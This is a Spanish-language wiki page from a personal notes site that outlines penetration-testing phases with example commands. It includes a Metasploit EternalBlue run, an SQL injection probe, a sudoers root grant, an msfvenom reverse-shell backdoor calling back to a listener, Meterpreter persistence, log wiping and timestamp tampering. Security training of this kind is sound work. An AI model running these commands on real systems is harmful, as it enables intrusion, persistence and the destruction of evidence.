Notas de Luis

Up

Metodologías de Pentesting

Las metodologías de pentesting proporcionan un marco estructurado para realizar pruebas de penetración de manera sistemática y efectiva. Estas metodologías aseguran que se cubran todas las áreas críticas y que las pruebas sean reproducibles y consistentes. A continuación, se detallan las fases principales de una prueba de penetración, junto con ejemplos prácticos y recursos útiles.

Planificación y Preparación

Conceptos Clave

  • Definición del Alcance: Determinar los sistemas, redes y aplicaciones que serán evaluados.
  • Aprobación y Autorización: Obtener permiso explícito de los propietarios de los sistemas para llevar a cabo las pruebas.
  • Identificación de Objetivos y Recursos: Definir objetivos específicos y asignar los recursos necesarios para las pruebas.

Ejemplos y Tareas Comunes

  • Creación de un Documento de Alcance:
# Alcance de la Prueba de Penetración
 
**Objetivos:**
  * Identificar vulnerabilidades en la red interna.
  * Evaluar la seguridad de la aplicación web principal.
 
**Sistemas Incluidos:**
  * Servidores: 192.168.1.10, 192.168.1.20
  * Aplicación Web: https://app.ejemplo.com
 
**Exclusiones:**
  * Sistemas de desarrollo y prueba.

Recursos

Recolección de Información (Reconocimiento)

Conceptos Clave

  • Reconocimiento Pasivo: Obtener información sobre el objetivo sin interactuar directamente con él.
  • Reconocimiento Activo: Interactuar directamente con el objetivo para obtener más detalles específicos.

Ejemplos y Tareas Comunes

  • Reconocimiento Pasivo:
import requests
from bs4 import BeautifulSoup
 
url = 'https://www.ejemplo.com'
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
 
for enlace in soup.find_all('a'):
    print(enlace.get('href'))
  • Reconocimiento Activo con Nmap:
nmap -sS -p 1-65535 -T4 192.168.1.10

Recursos

Escaneo y Enumeración

Conceptos Clave

  • Escaneo de Puertos: Identificación de puertos abiertos y servicios en ejecución.
  • Enumeración de Servicios: Obtención de detalles sobre los servicios identificados, como versiones de software y configuraciones.

Ejemplos y Tareas Comunes

  • Escaneo de Puertos con Nmap:
nmap -A 192.168.1.10
  • Enumeración de Servicios con NSE Scripts:
nmap -sV --script=banner,ftp-anon,ssl-cert 192.168.1.10

Recursos

Explotación

Conceptos Clave

  • Explotación de Vulnerabilidades: Uso de técnicas y herramientas para aprovechar vulnerabilidades identificadas.
  • Pruebas de Explotación: Verificar si las vulnerabilidades pueden ser explotadas para comprometer el sistema.

Ejemplos y Tareas Comunes

  • Explotación de Vulnerabilidades con Metasploit:
msfconsole
 
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
exploit
  • Explotación de SQL Injection:
import requests
 
url = 'https://www.ejemplo.com/login'
payload = {"username": "admin' OR '1'='1", "password": "password"}
response = requests.post(url, data=payload)
 
if "Bienvenido" in response.text:
    print("Vulnerable a SQL Injection")

Recursos

Escalada de Privilegios

Conceptos Clave

  • Escalada Vertical: Obtener niveles de acceso más altos en el sistema objetivo.
  • Escalada Horizontal: Acceder a cuentas de otros usuarios con permisos similares.

Ejemplos y Tareas Comunes

  • Uso de sudo para Escalada de Privilegios:
sudo -l
  • Explotación de Sudoers Mal Configurado:
echo 'username ALL=(ALL) NOPASSWD:ALL' | sudo tee /etc/sudoers.d/username
sudo su -

Recursos

Mantener el Acceso

Conceptos Clave

  • Backdoors: Instalación de puertas traseras para mantener acceso al sistema comprometido.
  • Persistencia: Técnicas para asegurar que el acceso se mantenga incluso después de reinicios y actualizaciones.

Ejemplos y Tareas Comunes

  • Instalación de una Puerta Trasera con Metasploit:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe > backdoor.exe
  • Configurar Persistencia en Meterpreter:
meterpreter > run persistence -X -i 10 -p 4444 -r 192.168.1.5

Recursos

Cobertura de Huellas

Conceptos Clave

  • Borrado de Logs: Eliminación o manipulación de registros para ocultar actividad.
  • Ocultación de Actividad: Uso de técnicas para evitar la detección durante y después de la explotación.

Ejemplos y Tareas Comunes

  • Borrado de Logs en Linux:
echo "" > /var/log/auth.log
echo "" > /var/log/syslog
  • Manipulación de Timestamps:
touch -t 202307151230.30 archivo_modificado

Recursos

Reporte y Documentación

Conceptos Clave

  • Documentación de Resultados: Registro detallado de todas las vulnerabilidades y explotaciones realizadas.
  • Recomendaciones de Mitigación: Sugerencias para corregir las vulnerabilidades identificadas.

Ejemplos y Tareas Comunes

  • Ejemplo de Estructura de Reporte:
# Reporte de Pruebas de Penetración
 
## Resumen Ejecutivo
Breve resumen de los hallazgos y recomendaciones.
 
## Detalles de la Prueba
  * **Fecha de Prueba:** DD/MM/AAAA
  * **Sistemas Evaluados:** Detalle de los sistemas evaluados.
 
## Hallazgos
### Vulnerabilidad 1: Descripción
  * **Impacto:** Alto/Medio/Bajo
  * **Recomendaciones:** Pasos para mitigar.
 
### Vulnerabilidad 2: Descripción
  * **Impacto:** Alto/Medio/Bajo
  * **Recomendaciones:** Pasos para mitigar.

Recursos

Conclusión

Las metodologías de pentesting proporcionan un marco estructurado para realizar pruebas de penetración de manera sistemática y efectiva. A través de las fases de planificación, recolección de información, escaneo, explotación, escalada de privilegios, mantenimiento de acceso, cobertura de huellas y reporte, los profesionales de la seguridad pueden identificar y mitigar vulnerabilidades en los sistemas y redes. Los recursos proporcionados ofrecen guías detalladas para profundizar en cada uno de estos aspectos y mejorar tus habilidades en pentesting.

Recursos Adicionales

computing/hacking/hack_roadmap/hack_roadmap-3.1.a.txt · Última modificación: por 127.0.0.1